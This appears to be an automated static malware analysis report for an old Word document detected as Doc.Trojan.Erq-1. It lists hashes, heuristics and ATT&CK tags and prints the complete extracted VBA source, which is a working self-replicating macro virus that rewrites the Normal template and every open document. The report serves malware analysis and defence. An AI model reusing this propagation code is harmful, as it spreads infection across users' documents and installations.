Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cac7edbf0d33adb2…

MALICIOUS

Office (OLE)

42.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d1a2cbb0a61b6a0270a67130ea495af4 SHA-1: 8906ac2235c7afb4b24cea1043175347cc213f93 SHA-256: cac7edbf0d33adb2912b8471324e40fca2f263f61ef3f72b6d8d5fade6628520
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon document opening. The ClamAV detection 'Doc.Trojan.Erq-1' further indicates malicious intent. The VBA code appears to manipulate document templates and potentially execute further actions, though the exact payload delivery mechanism is not explicitly defined within the provided script. The presence of a Document_Open macro strongly suggests an attempt to deliver a malicious payload via a spearphishing attachment.

Heuristics 3

  • ClamAV: Doc.Trojan.Erq-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Erq-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1866 bytes
SHA-256: e625472584bfd996bdb3685590d0624ab1153f41813942bc3d63d0704d2edec5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
  Document_Open
End Sub

Private Sub Document_New()
  Document_Open
End Sub

Private Sub Document_Open_Template()
  On Error GoTo errq
  For Each c In Application.Documents
    If Not c.VBProject.VBComponents("ThisDocument").CodeModule.Find("Open_Template", 1, 1, 2000, 1) Then
      'íàéäåí íåçàðàæåííûé ôàéë
      Set Modul = c.VBProject.VBComponents("ThisDocument").CodeModule
      Modul.DeleteLines 1, Modul.CountOfLines
      Modul.AddFromString NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.Lines(1, 2001)
      Modul.ReplaceLine Modul.ProcBodyLine("Document_Open", vbext_pk_Proc), "private sub Document_Open_Template()"
      Modul.ReplaceLine Modul.ProcBodyLine("Document_Open_File", vbext_pk_Proc), "private sub Document_Open()"
    End If
  Next c
errq:
End Sub

Private Sub Document_Open()
  On Error GoTo errq2
  If Not NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.Find("Open_File", 1, 1, 2000, 1) Then
      'íàéäåí íåçàðàæåííûé øàáëîí
      Set Modul = NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule
      Modul.DeleteLines 1, Modul.CountOfLines
      Modul.AddFromString ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.Lines(1, 2001)
      Modul.ReplaceLine Modul.ProcBodyLine("Document_Open", vbext_pk_Proc), "private sub Document_Open_File()"
      Modul.ReplaceLine Modul.ProcBodyLine("Document_Open_Template", vbext_pk_Proc), "private sub Document_Open()"
  End If
errq2:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.